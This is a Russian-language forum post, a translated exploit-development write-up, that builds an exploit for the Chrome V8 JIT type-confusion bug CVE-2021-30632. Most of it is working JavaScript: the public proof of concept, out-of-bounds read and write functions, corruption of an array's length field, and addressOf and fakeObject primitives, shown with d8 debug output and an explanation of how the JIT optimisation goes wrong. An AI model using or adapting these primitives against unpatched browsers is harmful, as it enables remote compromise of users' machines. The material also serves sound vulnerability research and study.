• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Изучение эксплойтов V8 с нуля / плесни-ка, барин, CVE-2021-30632 / (5)

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
Автор: Hcamael@Know Chuangyu 404 Lab
Оригинал налили тутЪ.

Третье исследование CVE-2021-30632, его номер ошибки Chrome: 1247763
Тем не менее, мы все еще трезвы, и ясно помним:
последняя версия Chrome: 93.0.4577.63
последняя версияV8: 9.3.345.16

Однако анализ ошибки Chrome in-the-wild: CVE-2021-30632 можно найти в Интернете, но статья содержит только PoC, а не EXP, который заключается в следующем.

Код:
function foo(b) {
  x = b;
}

function oobRead() {
  return [x[20],x[24]];
}

function oobWrite(addr) {
  x[24] = addr;
}

//All have same map, SMI elements, MapA
var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;

var x = arr0;

var arr = new Array(30); arr.fill(4); arr.a = 1;
...
//Optimzie foo
for (let i = 0; i < 19321; i++) {
  if (i == 19319) arr2[0] = 1.1;
  foo(arr1);
}
//x now has double elements, MapB
x[0] = 1.1;
//optimize oobRead
for (let i = 0; i < 20000; i++) {
  oobRead();
}
//optimize oobWrite
for (let i = 0; i < 20000; i++) oobWrite(1.1);
//Restore map back to MapA, with SMI elements
foo(arr);
var z = oobRead();
oobWrite(0x41414141);

Первым тостом скомпилируем среду:

Код:
$ ./build.sh 9.3.345.16

Немного изменим PoC и запустим шаблончик:

Код:
$ cat poc.js
......
function oobRead() {
  return x[16];
}
......
var z = oobRead();
console.log(hex(ftoi(z)));
%DebugPrint(x);
%SystemBreak();
$ ./d8 poc.js
80023b500000002
DebugPrint: 0x34070804a1a1: [JSArray]
 - map: 0x340708207939 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x3407081cc139 <JSArray[0]>
 - elements: 0x34070804a1b1 <FixedArray[30]> [HOLEY_SMI_ELEMENTS]
 - length: 30
 - properties: 0x34070804a231 <PropertyArray[3]>
 - All own properties (excluding elements): {
    0x340708004905: [String] in ReadOnlySpace: #length: 0x34070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
    0x340708007aad: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: properties[0]
 }
 - elements: 0x34070804a1b1 <FixedArray[30]> {
        0-29: 5
 }
......

Затем подключаем GDB для отладки и обнаруживаем, что значение переменной z (0x80023b500000002) находится по адресу elements + 8 + 16 * 8, из чего видно, что PoC достигает эффекта чтения за пределами границ, и аналогично, функция oobWrite может записывать за пределами допустимого диапазона.

Затем мы можем определить переменные в следующем порядке.

Код:
var arr = new Array(30); arr.fill(4); arr.a = 1;
var trigger_array = [1.1];
var padding = [1.1];
var vul_obj = {"a" : 1};

Затем, читая arr, мы можем получить информацию о следующих трех переменных. Конкретное смещение можно получить через отладку gdb, например, смещение переменной trigger_array равно 20. Я могу использовать функцию oobWrite для изменения бита size переменной trigger_array, чтобы преобразовать его в запредельное использование переменной trigger_array.

На основе приведенных выше данных можно модифицировать функцию oobWrite и функцию oobRead.

Код:
function oobRead() {
  return x[21];
}

function oobWrite(addr) {
  x[21] = addr;
}

Изменим размер массива trigger_array на 0x20:

Код:
var z = oobRead();
console.log("[*] leak data: 0x"+hex(ftoi(z)));
if (d2u(z)[1] == 2)
  oobWrite(u2d(d2u(z)[0], 0x20));
else
  oobWrite(u2d(0x20, d2u(z)[1]));

"Этому столику больше не наливать" - пишем addressOf

Код:
function addressOf(obj_to_leak)
{
    vul_obj[0] = obj_to_leak;
    trigger_array[7] = array_map;
    let obj_addr = ftoi(vul_obj[0])-1n;
    trigger_array[7] = obj_map;
    return obj_addr;
}

"Я за fake-ов не пью" -пишем fakeObj

function fakeObject(addr_to_fake)
{
padding[0] = itof(addr_to_fake + 1n);
trigger_array[5] = obj_map;
let faked_obj = padding[0];
trigger_array[5] = array_map;
return faked_obj;
}

"Между первой и второй - оптимиизация"

Остальная работа заключается в обычном выполнении, установке шаблона и изменении смещений. На данный момент я не вижу ничего, что можно было бы оптимизировать в этом PoC.
Я лишь вкратце изложу свое понимание.

Первая - это JIT-оптимизация функции foo.

Код:
 //Optimzie foo
for (let i = 0; i < 40000; i++) {
  if (i == 100) arr2[0] = 1.1;
  foo(arr1);
}

arr1 в нестабильном случае оптимизируется JIT, поэтому JIT будет считать, что вход в функцию foo является переменной типа массива SMI, а затем выполнит x[0] = 1.1;, изменяя x на переменную типа массива с плавающей точкой, но поскольку переменная x (в это время x равна arr1) нестабильна, из-за ошибки в коде, на этот раз не будет отменить JIT-оптимизацию.

Код:
for (let i = 0; i < 40000; i++) oobRead();


Функция oobRead также оптимизируется JIT, и в этот момент JIT предполагает, что переменная x является типом массива с плавающей точкой.
Затем выполняется foo(arr);. Поскольку JIT ранее предположил, что входная переменная функции foo является массивом SMI, а arr - переменная массива SMI, JIT устанавливает переменную x в arr, но не отменяет предположение функции oobRead о переменной x.
То есть, в функции foo предполагается, что x - это массив SMI, а в функции oobRead предполагается, что x - это массив с плавающей точкой, что создает путаницу типов. Поэтому способ, которым x[21] берется в функции oobRead, - это взятие 8-байтового значения с плавающей точкой по адресу x + 8 * 21. Но x теперь равен переменной arr, SMI-массиву длины 30, с размером: 4 * 30, поэтому это приводит к переполнению.
Однако при анализе эксплойта все еще остаются некоторые вопросы без ответа. Сколько раз функция проходит через JIT-оптимизацию? При каких обстоятельствах arr1 должен быть преобразован в нестабильный, чтобы JIT смог правильно оптимизировать его? Приведенный выше цикл 40,000 раз, чтобы сделать arr1 неустойчивым при i==100 - это все, что я пробовал, но почему именно это число? Я еще не разобрался с этим. Я могу написать об этом специальную статью, когда пойму это позже.

Ссылки для лучшего понимания:
  1. https://bugs.chromium.org/p/chromium/issues/detail?id=1247763
  2. https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30632/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх